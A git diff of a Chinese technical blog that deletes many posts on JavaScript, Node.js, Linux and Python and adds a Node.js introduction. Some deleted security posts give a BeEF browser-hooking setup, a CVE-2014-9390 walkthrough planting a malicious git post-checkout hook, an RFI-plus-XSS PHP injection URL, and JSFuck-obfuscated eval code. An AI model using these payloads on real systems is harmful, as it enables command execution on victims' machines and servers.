神器beeF之前在backtrack中粗略地使用过,不过当时使用的是已经安装好的环境。这次记录下如何在mac中安装并使用 -tags: [beef,beef-xss,install-beef,安装beef,mac安装beef,beef使用] ---- -#### 安装环境 -首先我们从`GitHub`中把最新的版本下载回来 -[code:shell:edoc] -$ git clone https://github.com/beefproject/beef.git -[codend] -进入目录直接执行`./beef`发现需要安装依赖环境`bundler`,根据`./install`的提示进行安装(预先已经安装好`ruby`环境) -[code:shell:edoc] -$ sudo gem install bundler -[codend] -然后直接使用`bundler`进行安装: -[code:shell:edoc] -$ bundle install -[codend] -骚等片刻,会安装一堆东西,完毕后直接运行即可: -[code:shell:edoc] -$ ./beef -[codend] -附上运行的截图: -![beeF-install](/static/upload/img/beef-install.jpg) - -#### 简单使用 -根据提示,我们访问`http://localhost:3000/ui/panel`,然后使用默认帐号密码`beef`进行登录。 -然后测试呢,直接使用给出的`js`地址`http://localhost:3000/hook.js`,具体你懂的! -最后附上截图,挺不错的一个工具。 -![beeF-browser](/static/upload/img/beef-browser.jpg) \ No newline at end of file diff --git a/_posts/Hacking/2014-12-18-cve-2014-9390-test.markdown b/_posts/Hacking/2014-12-18-cve-2014-9390-test.markdown deleted file mode 100644 index c1fee5e..0000000 --- a/_posts/Hacking/2014-12-18-cve-2014-9390-test.markdown +++ /dev/null @@ -1,35 +0,0 @@ ---- -category: Hacking -layout: post -title: Git客户端命令执行漏洞(CVE-2014-9390)简单分析 -desc: 今日看到有这个漏洞的介绍,简单看了下,发现漏洞原因以及利用很简单,记记记! -tags: [cve-2014-9390,git vul,git command execute] ---- -#### 参考资料 -* [https://github.com/blog/1938-git-client-vulnerability-announced](https://github.com/blog/1938-git-client-vulnerability-announced) -* [http://www.secpulse.com/archives/3420.html](http://www.secpulse.com/archives/3420.html) - -#### 漏洞成因 - The vulnerability concerns Git and Git-compatible clients that access Git repositories in a case-insensitive or case-normalizing filesystem. An attacker can craft a malicious Git tree that will cause Git to overwrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine. Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem. - -以上是原文,如果你E文也不好,那就参考我的理解: -`windows`和`osx`使用的文件系统(`NTFS`、`FAT`)不区分文件名的大小写,而`Linux`则区分。根据这个特性可以在`Linux`下创建一个大小写区别的`.git`文件夹,进而覆盖`.git`的配置文件,从而导致任意命令执行。 - -#### 测试例子 -打开[http://gitcasefail.googlecode.com/svn/trunk/](http://gitcasefail.googlecode.com/svn/trunk/)这个谷歌代码仓库,可以看到有一个`.git`和一个`.Git`目录,关键是`.Git`这个目录,在里面的`hooks`目录里面有个`post-checkout`文件,这个就是导致命令执行的文件。 -然后我们直接通过以下命令测试,如果命令执行则说明漏洞存在: -[code:bash:edoc] -git clone http://gitcasefail.googlecode.com/svn/trunk/repo/ -[codend] - -#### 漏洞利用 -我们进入`Linux`系统,然后初始化一个`git`目录,通过'ls -al'可以看到有`.git`目录,然后呢,直接创建`.gIt`文件夹并创建利用脚本: -[code:bash:edoc] -mkdir .GiT -cd .GiT -mkdir hooks -cd hooks -touch post-checkout -echo whoami>post-checkout -[codend] -然后发布代码,测试成功后即可发命令给对方进行调戏了〜〜 diff --git a/_posts/Hacking/2015-01-15-rfiwithxss.markdown b/_posts/Hacking/2015-01-15-rfiwithxss.markdown deleted file mode 100644 index a99f42c..0000000 --- a/_posts/Hacking/2015-01-15-rfiwithxss.markdown +++ /dev/null @@ -1,31 +0,0 @@ ---- -layout: post -category: hacking -title: PHP远程包含与XSS的结合之旅 -desc: 在一次测试中发现一个比较经典的例子,需要两次漏洞的结合才能完美地利用。 -tags: [php rfi,php xss,PHP远程包含] ---- -#### 前言 -之前碰到过一个经典的例子,目标有注入,但是没后台,权限很低,而且目标的目录也没权限写。唯一最大的利用点是`load_file`。 -于是慢慢读取文件进行代码审计,发现原来站点里的文章都是直接把PHP代码保存带数据库然后读取出来`eval`的,这下就太棒了,于是赶紧找一个`update`或`insert`注入的文件,把要执行的PHP代码通过注入写入数据库,然后再在前台访问指定的文章,成功进入。 -之所以说这是一个经典的例子,是因为这次的测试中,每个小漏洞都缺一不可,先通过`select`注入获取代码进行审计,然后找到`update`注入进行恶意代码插入,最后完美执行我们的代码。 - -#### 再遇 -多年后,再次碰到了一个同样经典的例子,决定记一下。 -目标情况是这样,发现了一个`rfi`远程文件包含漏洞,但是,仅仅只允许包含本站的URL路径。地址类似于: -``` -http://x.com/x.php?file=http://x.com/o.php -``` -而且又没有用户注册,没有上传。也许有的读者会和我一样奇怪,既然无法远程包含其他URL地址,为什么不直接设计成本地包含的模式呢??我也想不通,可能作者太奇葩了吧。。。 -针对这种情况,如何继续?? - -#### 转换 -找了几个目标站点的图片文件测试是否为真正的文件包含漏洞,发现确实存在。这时候呢,就突然想到了,他要包含,必定会执行页面中的PHP代码,而我们只需要找到一个`XSS`,在页面中输出我们的PHP代码,岂不是可以直接执行了? -想到这,立马找了几个页面测试,最终找到了一个反射型xss漏洞,于是乎把URL地址编码,最终生成如下地址: -``` -http://x.com/x.php?file=http%3A%2F%2Fx.com%2Fs.php%3Fq%3D%3C%3Fphp%20phpinfo()%3B%3F%3E -``` -OK,成功执行。 - -#### 总结 -其实也不知道这有什么好记录的,毕竟看着就没什么技术难度。但是其中的多漏洞结合思维方式,应该值得学习分享! \ No newline at end of file diff --git a/_posts/Javascript/2014-11-04-loadScript.markdown b/_posts/Javascript/2014-11-04-loadScript.markdown deleted file mode 100644 index 170a472..0000000 --- a/_posts/Javascript/2014-11-04-loadScript.markdown +++ /dev/null @@ -1,45 +0,0 @@ ---- -category: Javascript -layout: post -title: Javascript同步加载js文件 -desc: 页面中的js并不是同步加载的,这就会导致如果几个js文件是互为牵制的话,可能会造成有未读取到的js没有及时生成元素而报错的问题 -tags: [Javascript,loadScript,同步加载js文件] ---- -#### 代码贴上 -实现的原理很简单,我们首先创建一个`script`元素并赋予`src`值,等加载完毕后再执行`callback`函数。 -代码直接贴出来吧,很简单: -[code:js:edoc] -function loadScript(opt){ - var u = opt.url; - var s = opt.success || function(){}; - var e = opt.error || function(e){}; - var a = document.createElement("script"); - a.type = "text/javascript"; - a.onerror = function(e){ - e(e); - } - if (a.readyState) { - a.onreadystatechange = function(){ - if (a.readyState == "loaded" || a.readyState == "complete") { - s(); - }; - } - }else{ - a.onload = function(){ - s(); - } - }; - a.src = u; - document.getElementsByTagName("head")[0].appendChild(a); -} -[codend] - -#### 调用方法 -[code:js:edoc] -loadScript({ - url: '/jquery.js', - success: function(){ - console.log("加载完毕"); - } -}) -[codend] \ No newline at end of file diff --git a/_posts/Javascript/2014-11-06-Worker.markdown b/_posts/Javascript/2014-11-06-Worker.markdown deleted file mode 100644 index 28e1cdf..0000000 --- a/_posts/Javascript/2014-11-06-Worker.markdown +++ /dev/null @@ -1,51 +0,0 @@ ---- -category: Javascript -layout: post -title: Web Worker简单使用 -desc: 当在 HTML 页面中执行脚本时,页面的状态是不可响应的,直到脚本已完成。web worker 是运行在后台的 JavaScript,独立于其他脚本,不会影响页面的性能。 -tags: [Javascript,Web Worker,html5 worker,Javascript Worker使用] ---- -#### 什么是Web Worker -语文功底差,就不乱解释了。具体可以自己搜索或者参考[Html5 Web Workers][link-w3c] - -#### 有什么用 -本来这个应该归档于`Chrome`分类的,但是由于只是`Javascript`,就在此发出了。 -用于进行多个任务的时候,特别是网络访问,比如扫描网站文件状态,网络爬虫。 -在我的`Chrome.ext`小作品中,[WaCms][link-wacms]以及[hackerRss][link-hrss]都采用了Worker技术,主要就是为了解决UI卡死还有速度的问题,使用过后就知道效果咯! - -#### 如何使用 -我们先定义一个`Worker`对象,也就是一个js文件啦,比如`worker.js`。代码参考如下: -[code:javascript:edoc] -// 导入外部js文件使用 -importScripts("data.js"); -// 监听消息 -onmessage = function(e){ - // 消息可以为对象 - console.log(e.data); -} -// 发送消息 -postMessage({ - msg: "这个消息发送自 Worker" -}); -[codend] - -然后我们创建`Worker`对象然后进行调用: -[code:javascript:edoc] -// 初始化对象 -var worker = new Worker("worker.js"); -// 监听消息 -worker.onmessage = function(e){ - console.log(e.data); -}; -// 发送消息 -worker.poseMessage({ - msg: "这个消息来自某处.." -}); -[codend] - -### The End. -暂时就写到这啦! - -[link-w3c]: http://www.w3school.com.cn/html5/html_5_webworkers.asp -[link-wacms]: https://github.com/h01/WaCms -[link-hrss]: https://github.com/h01/hackerRss \ No newline at end of file diff --git a/_posts/Javascript/2014-11-13-get-client-info.markdown b/_posts/Javascript/2014-11-13-get-client-info.markdown deleted file mode 100644 index 769b456..0000000 --- a/_posts/Javascript/2014-11-13-get-client-info.markdown +++ /dev/null @@ -1,59 +0,0 @@ ---- -category: Javascript -layout: post -title: 更准确高效地获取客户端浏览器|系统信息 -desc: 如何使用js来获取客户端所使用的浏览器版本,操作系统版本以及其他详细的信息?那些过时的就算了,也许这篇文章能给你启发 :) -tags: [Javascript,xss,js-getClientInfo,js获取客户端信息,js获取浏览器版本,js获取操作系统版本] ---- -#### 前言 -尝试着在百度、谷歌搜索过相关资料,大多都是互相转载而且版权一大堆内容特垃圾的那种〜〜鄙视中。。 -现在需要的是获取浏览器的具体版本和操作系统的具体版本,比如`iPhone`,`Android`,`Win10`,`IE11`等等比较新鲜的东西,网上传的那种就见鬼去了〜 -所以呢,我就打算自己动刀,想一个比较完美又可以扩展的办法,终于弄出了点眉目。 - -#### 获取操作系统以及版本 - -##### 【思路】 -创建一个对象数组,保存操作系统的通用名称,比如`Windows`,`Mac OSX`,`iPhone`等,然后再保存一个对应的正则表达式,用来从`UserAgent`中匹配出具体的版本号。 - -##### 【实现】 -[code:javascript:edoc] -var info = {}; -var temp = {}; -info.ua = navigator.userAgent; -// -// 获取操作系统版本 -// -temp.os = { - 'Mac OS X': /Mac OS X ([\d\.\_]*)/, - 'iPhone OS': /iPhone OS ([\d\.\_]*)/, -} -for (var o in temp.os){ - if (info.ua.indexOf(o)) { - var m = info.ua.match(temp.os[o]); - info.os = m ? m[0] : (info.os || 'UnknowOS'); - }; -} -[codend] -上面的代码中`temp.os`对象可以自由地扩展,我想你都懂并能领会其中的好处! - -#### 获取浏览器和版本 -同上面一样,就不多说了,直接上代码: -[code:javascript:edoc] -// -// 获取浏览器版本 -// -temp.browser = { - 'Safari': /Safari\/([\d\.]+)$/, - 'Chrome': /Chrome\/([\d\.]+)/, - 'Firefox': /Firefox\/([\d\.]+)$/, -} -for (var b in temp.browser){ - if (info.ua.indexOf(b)) { - var m = info.ua.match(temp.browser[b]); - info.browser = m ? m[0] : (info.browser || 'UnknowBrowser'); - }; -} -[codend] - -#### 总结 -其实呢,我觉得`js`好玩的地方非常多,有很多地方是其他语言无法超越的。当然,每个语言都有自己的长处,随个人所好〜 \ No newline at end of file diff --git a/_posts/Javascript/2014-12-07-jsplay.markdown b/_posts/Javascript/2014-12-07-jsplay.markdown deleted file mode 100644 index cec7379..0000000 --- a/_posts/Javascript/2014-12-07-jsplay.markdown +++ /dev/null @@ -1,51 +0,0 @@ ---- -category: Javascript -layout: post -title: js加密也可以这么好玩 -desc: 如何在代码中不出现[a-zA-Z]字符串?如何只使用一些特殊符号加密js代码?看看! -tags: [javascript,jsfuck,jsplay,js加密,js另类加密] ---- -偶然之间逛到一个地方,在讨论`jsfuck`,之前曾经听过但并未过多研究。今日再次无聊研究,发现还是有点好玩的! - -#### 参考资料 -* [https://github.com/aemkei/jsfuck/blob/master/jsfuck.js](https://github.com/aemkei/jsfuck/blob/master/jsfuck.js) -* [http://www.jsfuck.com/](http://www.jsfuck.com/) - -#### 实现原理 -从代码中可以粗略看出,比如`false`,可以使用`![]`来代替,这是因为`[]`本身为`true`,所以`![]=false`。 -同理,`false`也可以这样表示: -[code:js:edoc] -!1 -!{} -!!"" -... -[codend] -很简单吧?那么如何得到我们需要的字符串呢?也很简单,把一些特定的返回结果变为字符串,然后再使用数组分割即可。 -比如`false`,并非字符串,但是我们可以通过转换,生成`f`、`a`、`l`、`s`、`e`五个字符,同理,再找出其他的字符,即可组成我们需要的字符串啦〜〜 -[code:js:edoc] -(+[![]] + "")[1] = "a"; -(!1+"")[0] = "f"; -(!0+"")[0] = "t"; -... -[codend] - -#### 如何执行 -上面顶多只是说了下如何生成字符串,但是我们如何执行字符串呢? -根据参考资料2中链接可以看到,执行字符串`eval`可通过以下代码实现: -[code:js:edoc] -[]["filter"]\["constructor"\]( CODE )() -// 例子 -[]["filter"]\["constructor"\]("alert(0)")() -[codend] -但是我们的代码中是不能用比如`filter`等字符串的,那么好办,直接生成特殊符号形式,如下: -[code:js:edoc] -[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]\("alert(0);//CODE"\)() -[codend] -看上去很难理解的样子,我们拆分开来就好理解了: -[code:js:edoc] -"filter" = (![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]] -"constructor" = ([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]] -// 组合 -[]["filter"]\["constructor"\]( CODE )() -[codend] -很容易吧! \ No newline at end of file diff --git a/_posts/Jekyll/2014-11-07-genJson.markdown b/_posts/Jekyll/2014-11-07-genJson.markdown deleted file mode 100644 index 22b7d6d..0000000 --- a/_posts/Jekyll/2014-11-07-genJson.markdown +++ /dev/null @@ -1,35 +0,0 @@ ---- -category: Jekyll -layout: post -style: info -title: Jekyll生成Json数据 -desc: 简记如何使用Jekyll生成Json,以及如何处理一些小问题 -tags: [Jekyll, Jekyll 2 Json,Jekyll生成Json] ---- -#### 创建页面 -首先,我们要在`pages`目录下创建一个页面来自定义`json`的数据和连接,这里需要注意的是,页面的后缀不要为`markdown`,这里为`.html`,至于为什么?因为`markdown`会默认解析里面的一些特定字符,造成我们不想要的结果。 - -#### 创建链接 -只需要在页面的前面设置`permalink`即可: -[code:js:edoc] -\-\-\- -permalink: /api/posts.json -\-\-\- -[codend] - -#### 生成数据 -[code:javascript:edoc]{% raw %} -[ - {% for post in site.posts %} - { - "link": "{{ post.url }}", - "desc": "{{ post.desc }}", - "date": "{{ post.date }}", - "title": "{{ post.title }}", - "category": "{{ post.category }}" - }{% if forloop.last == false %},{% endif %} - {% endfor %} -] -{% endraw %}[codend] - -【注】: 上述代码中`{% raw %}{% if.. %}{% endraw %}`才是关键所在,这个是判断是否为最后的数据,如果不是,则输出`,`符号。通白讲,就是去除最后一个`,`号。 \ No newline at end of file diff --git a/_posts/Linux/2014-11-21-ssh-upload-download-file.markdown b/_posts/Linux/2014-11-21-ssh-upload-download-file.markdown deleted file mode 100644 index e126ba2..0000000 --- a/_posts/Linux/2014-11-21-ssh-upload-download-file.markdown +++ /dev/null @@ -1,20 +0,0 @@ ---- -category: Linux -layout: post -title: ssh文件上传下载 -desc: linux中如果要进行文件上传下载,除了用ftp外,ssh也是一个不错的选择。 -tags: [linux,scp,ssh,ssh上传,ssh下载,scp命令] ---- -#### 下载文件和目录 -[code:shell:edoc] -scp username@servername:/remote/filename /local/dir/ -scp -r username@servername:/remote/dir/ /local/dir/ -[codend] - -#### 上传文件和目录 -[code:shell:edoc] -scp /local/filename username@servername:/remote/dir/ -scp -r /local/dir username@servername:/remote/dir/ -[codend] - -仅作记录. \ No newline at end of file diff --git a/_posts/NodeJs/2014-11-04-mysql.markdown b/_posts/NodeJs/2014-11-04-mysql.markdown deleted file mode 100644 index e5290e3..0000000 --- a/_posts/NodeJs/2014-11-04-mysql.markdown +++ /dev/null @@ -1,37 +0,0 @@ ---- -category: NodeJs -layout: post -title: Node.js连接操作MySql -desc: 简记如何使用Node.js连接MySql并进行执行语句操作 -tags: [Node.js,Node.js操作mysql] ---- -#### 安装`mysql`模块: -[code:shell:edoc] -npm install mysql -[codend] - -#### 初始化并连接`mysql` -[code:javascript:edoc] -var mysql = require("mysql"); -var conn = mysql.createConnection({ - host: 'localhost', - port: 3306, - user: 'root', - password: 'root', - database: 'mysql' -}); -conn.connect(); -[codend] - -#### 执行`SQL`语句并获取结果 -[code:javascript:edoc] -conn.query("SELECT user,host,password FROM user", function(err, rows, fields){ - if (err) throw err; - for (var i in rows){ - console.log("[%s] USER:%s HOST:%s PASS:%s", i, rows[i].user, rows[i].host, rows[i].password); - } -}); -[codend] - -#### The End. -暂时就写到这了,用到的时候再查询记录吧!具体更多详细功能可参考:[用Nodejs连接MySQL](http://blog.fens.me/nodejs-mysql-intro/) \ No newline at end of file diff --git a/_posts/NodeJs/2014-11-04-socket.io.markdown b/_posts/NodeJs/2014-11-04-socket.io.markdown deleted file mode 100644 index cf0a9e5..0000000 --- a/_posts/NodeJs/2014-11-04-socket.io.markdown +++ /dev/null @@ -1,48 +0,0 @@ ---- -category: NodeJs -layout: post -title: socket.io的简单使用 -desc: socket.io 是一个为实时应用提供跨平台实时通信的库。简记如何与Node.js完美搭配使用 -tags: [Javascript,socket.io,socket.io.js使用,node.js Websocket] ---- -具体的介绍就不说了,在服务端安装命令: -[code:shell:edoc] -npm install socket.io -[codend] - -安装完毕我们本地监听一个`web`端口用于和用户交互以及通信: -[code:js:edoc] -var io = require("socket.io").listen(8888); -function debug(msg){ - console.log('[-] %s', msg); -} -io.sockets.on('connection', function(socket){ - debug("主机连接:" + socket.handshake.address); - socket.on('msg', function(msg){ - debug("收到信息:" + msg.msg); - io.sockets.emit('msg', { - msg: socket.handshake.address + " 发送消息: " + msg.msg - }); - }); - socket.on('disconnection', function(){ - debug("主机断开:" + socket.handshake.address); - }); - socket.emit('msg', { - msg: '你好aaa' - }); -}); -[codend] - -然后客户端调用`web`的`socket.io.js`,或者直接调用外部`cdn`的`js`文件,进行和客户端通信: -[code:js:edoc] -<script src="http://localhost:8888/socket.io/socket.io.js"></script> -<script type="text/javascript"> -var socket = io.connect("http://localhost:8888"); -socket.on("msg", function(msg){ - console.log("[+] " + msg.msg); -}); -socket.emit("msg", { - msg: "Hello!!!" -}); -</script> -[codend] \ No newline at end of file diff --git a/_posts/NodeJs/2014-11-21-raspberry-install-node.markdown b/_posts/NodeJs/2014-11-21-raspberry-install-node.markdown deleted file mode 100644 index c833530..0000000 --- a/_posts/NodeJs/2014-11-21-raspberry-install-node.markdown +++ /dev/null @@ -1,43 +0,0 @@ ---- -category: NodeJs -layout: post -title: 树莓派安装node.js环境 -desc: 目前网上流传的大多都是通过下载源码编译,测试发现编译时间太久,结果也没装上。所以就直接来个更简单的,一步到位! -tags: [node.js,raspberry,树莓派,树莓派安装node.js,raspberry install node.js] ---- -之所以说一步到位,是因为我们只需要下载官网已经编译好的程序然后配置环境就可以了〜 - -#### 下载程序 -[code:shell:edoc] -cd ~ -wget -N http://nodejs.org/dist/v0.10.28/node-v0.10.28-linux-arm-pi.tar.gz -tar xzvf node-v0.10.28-linux-arm-pi.tar.gz -mv node-v0.10.28-linux-arm-pi/ node -[codend] -上面的命令是下载并解压文件,然后把目录重命名为`node`,这是为了方便。其中的`v0.10.28`为`node`的版本,可随机应变〜 - -#### 配置环境 -我们可以直接进入`node/bin`目录就可以直接执行`./node --version`命令了。 -但是这样显然是很麻烦的,所以我们把`node/bin`的目录加入到我们的执行环境中: -[code:shell:edoc] -cd ~ -vim .profile -[codend] -然后我们添加环境变量: -[code:shell:edoc] -PATH=$PATH:/home/pi/node/bin -[codend] -保存,更新: -[code:shell:edoc] -source .profile -[codend] -这样直接输入如下命令就可执行了: -[code:shell:edoc] -node --version -[codend] -最后,我们要解决在`root`权限下执行命令无法找到的问题: -[code:shell:edoc] -sudo vim /etc/sudoers -# 在Defaults secure_path=".."后加入node/bin路径,如/home/pi/node/bin -:wq! -[codend] \ No newline at end of file diff --git a/_posts/NodeJs/2014-12-04-http-request.markdown b/_posts/NodeJs/2014-12-04-http-request.markdown deleted file mode 100644 index 941c723..0000000 --- a/_posts/NodeJs/2014-12-04-http-request.markdown +++ /dev/null @@ -1,93 +0,0 @@ ---- -category: NodeJs -title: NodeJs中的http操作封装 -layout: post -desc: 简记如何使用http(s)的request函数进行封装get和post请求 -tags: [node.js, node http, node http get, node http post] ---- -#### 说在前头 -最近玩`node.js`,涉及到`http`的操作,搜索了下资料发现一个模块`nodegrass`挺不错,但看了下源码感觉太臃肿。 -于是了解了下http的一些方法,然后做了个[httpor](https://github.com/h01/httpor)模块,如果有兴趣直接输入下面命令安装即可: -[code:bash:edoc] -$ npm install httpor -[codend] - -#### 基础知识 -先来看下如何使用`http`模块的`request`方法进行`get`请求发包: -[code:js:edoc] -var opt = { - method: 'GET', - headers: { - 'User-Agent': 'httpor/1.0' - }, - host: 'ursb.org', - port: 80, - path: '/' -} -http.request(opt, function(res){ - var _html = ''; - res.on('data', function(c){ - _html += c; - }).on('end', function(){ - console.log('请求完成'); - console.log('状态码:' + res.statusCode); - console.log('头信息:' + res.headers); - console.log('数据:' + _html); - }) -}).on('error', function(e){ - console.log('请求错误'); - console.log(e); -}).end(); -[codend] -很简单的代码,随手敲的,`POST`请求也类似,无非就是先定义一个请求信息对象,包含`host`,`port`等信息,不过注意的是`POST`请求设置中的`method`为`POST`,以及需要定义一个`Content-Typ`为`application/x-www-form-urlencoded`的`headers`头信息,这样才能让目标接收到我们的数据, -最后使用`write`方法把数据包写入操作对象中: -[code:js:edoc] -var opt = { - method: 'POST', - host: 'ursb.org', - port: 80, - path: '/api/posts.json', - data: { - id: 111, - name: 'test post data' - }, - headers: { - 'Content-Type': 'application/x-www-form-urlencoded' - } -} -var req = http.request(opt, function(res){ - // ...你懂的 -}); -req.write(querystring.stringify(opt.data)); -req.end(); -[codend] -可以看出,只需要`write`一个格式化过后的数据就OK了。 -那么,如何请求`https`页面呢?很简单,把`http`模块换为`https`即可: -[code:js:edoc] -var https = require("https"); -[codend] - -#### 其他细节 -使用`request`已经能满足大部分的操作了,但是呢,有个问题,就是网页的编码,并不是每个页面的编码设置都一样,所以我们就需要第三方模块`iconv-lite`来处理编码了,当然,有能力自己写也是可以的〜 - -#### 优化处理 -我们怎么封装才能使用更方便呢?参考`jQuery.ajax`?不错的想法,可以先写下方便操作的代码: -[code:js:edoc] -myhttp.get("http://ursb.org/", function(res){ - console.log(res); -}); -myhttp.post("http://ursb.org/api/posts.json", { - data: 'testdata' -}, function(res){ - console.log(res); -}); -myhttp.ajax({ - url: 'http://ursb.org', - method: 'POST', - success: function(res){ - console.log(res); - } -}); -... -[codend] -这样封装就很方便了吧!完全模拟的`jQuery`,怎么写这一个封装函数?具体你都懂的。。 \ No newline at end of file diff --git a/_posts/NodeJs/2015-01-16-first.markdown b/_posts/NodeJs/2015-01-16-first.markdown new file mode 100644 index 0000000..4392360 --- /dev/null +++ b/_posts/NodeJs/2015-01-16-first.markdown @@ -0,0 +1,62 @@ +--- +category: NodeJs +layout: post +title: Node.js简介 +desc: 简单介绍一下Node.js的历史和安装 +tags: [Node.js入门,Node.js简介,Node.js,什么是Node.js,Node.js安装] +--- +#### Node.js的历史 +2009年年末,Ryan Dahl在柏林的一个javascript大会上宣布了一项名为Node.js[(http://nodejs.org)](http://nodejs.org)的新技术。出乎所有人的意料,这项技术不是运行在浏览器端,而是运行在服务器端的! + 随后Ryan为大家展示了一个简洁又强大的示例程序--创建一个Web服务器。 +[code:shell:edoc] +var http = require('http'); +var server = http.createServer(function (req,res){ + res.writeHead(200); + res.end('Hello World'); + res. +}); +server.listen(80); +[codend] +然后你用浏览器访问[http://127.0.0.1](http://127.0.0.1)就能得到输出Hello World的页面了。 + +#### Node.js的安装 +Node.js的安装非常简单,`windows`和`OS X`只需要带[官网](http://nodejs.org)下载对应操作系统的对应版本\(windows下载msi包,OS X下载pkg包\)。下载以后运行程勋安装,安装完成以后,在`终端`输入`node -version`。输出Node.js的版本号,就说明安装正确。 +`*nix系`的系统中编译Node.js,只需要确保系统中有C\C++编译器以及OpenSSL库就可以了,安装命令如下: +[code:shell:edoc] +$curl -O http://nodejs.org/dist/node-v?.?.?.tar.gz +$tar -xzvf node-v?.?.?.tar.gz +$cd node-v?.?.? +$./configure +$make +$make test +$make install +[codend] +#### NPM +NPM的全称是Node Package Manager。是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。 +NPM有两个命令可以用来搜索和查看模块:`search`和`view`。 +例如,要搜索和socke相关的模块,可以执行以下命令: +[code:shell:edoc] +$npm search socket +[codend] +该命令会在已发布的众多模块中的`name`,`tags`以及`description`字段中搜索此关键字,并返回匹配的模块。 +找到了感兴趣的模块后,通过运行npm view命令,后面跟要查看的模块名,就能看到package json文件以及与NPM仓库相关的属性,例如: +[code:shell:edoc] +$npm view socket.io +[codend] + +####运行一个简单的例子 +新建一个文件test.js,输入如下代码: +[code:shell:edoc] +var http = require('http'); +var server =http.createServer(function (req,res){ + res.writeHead(200,{'Content-Type': 'text/html'}); + res.end('Hello Node.js!'); +}); +server.listen(80); +[codend] +终端中运行命令: +[code:shell:edoc] +$node test.js +[codend] +再用浏览器访问[http://127.0.0.1](http://127.0.0.1),就能获取到一个简单的html页面。 +![01](/static/upload/img/01.jpg) \ No newline at end of file diff --git a/_posts/Python/2014-11-26-getopt.markdown b/_posts/Python/2014-11-26-getopt.markdown deleted file mode 100644 index 9f4708c..0000000 --- a/_posts/Python/2014-11-26-getopt.markdown +++ /dev/null @@ -1,55 +0,0 @@ ---- -category: Python -layout: post -title: Python模块getopt简解 -desc: 简单介绍getopt模块是如何实现解析参数以及如何简单使用例子 -tags: [python, python getopt,getopt模块] ---- -#### 模块简介 -`getopt`是`Python`自带的用于处理命令行参数的模块 - -#### 源码解析 -加上这段只是为了让这篇初学者都不屑于浏览的文章看起来高大上~ -先贴上主要代码: -[code:python:edoc] -def getopt(args, shortopts, longopts = []): - opts = [] - if type(longopts) == type(""): - longopts = [longopts] - else: - longopts = list(longopts) - while args and args[0].startswith('-') and args[0] != '-': - if args[0] == '\-\-': - args = args[1:] - break - if args[0].startswith('--'): - opts, args = do_longs(opts, args[0][2:], longopts, args[1:]) - else: - opts, args = do_shorts(opts, args[0][1:], shortopts, args[1:]) - return opts, args -[codend] -从代码可以看出,`getopt`需要两个必选参数和第三个可选参数,第一个为字符串,也就是我们命令行中所输入的参数。 -第二个参数也为字符串,格式如`hvt:`,这个是短命令参数,比如`-h`、`-v`等,如果需要接收参数的值,则需要使用`:`。 -第三个参数为长命令参数,格式可为字符串或数组,比如`help`、`version`等,同样,如果需要接收参数值,则需要使用`=`号,如`test=`。 -实现的原理就是通过字符串循环判断解析出对应的参数和值,就这么简单。使用也一样,so Easy~ - -#### 简单例子 -[code:python:edoc] -from getopt import getopt -from sys import argv -if \_\_name\_\_ == '\_\_main\_\_': - opts, args = getopt(argv[1:]) - for key, value in opts: - if key in ['-h', '\-\-help']: - print 'help~~' - elif key in ['-t', '\-\-test']: - print 'The test value is:%s'%value - else: - print '??%s:%s'%(key, value) -[codend] -然后命令行输入 -[code:shell:edoc] -$ ./test.py -t hahahah! -$ ./test.py \-\-help -$ ./test.py \-\-test="哈哈哈..hahah hahah !!" -[codend] \ No newline at end of file diff --git a/_posts/Python/2014-11-26-http-proxy.markdown b/_posts/Python/2014-11-26-http-proxy.markdown 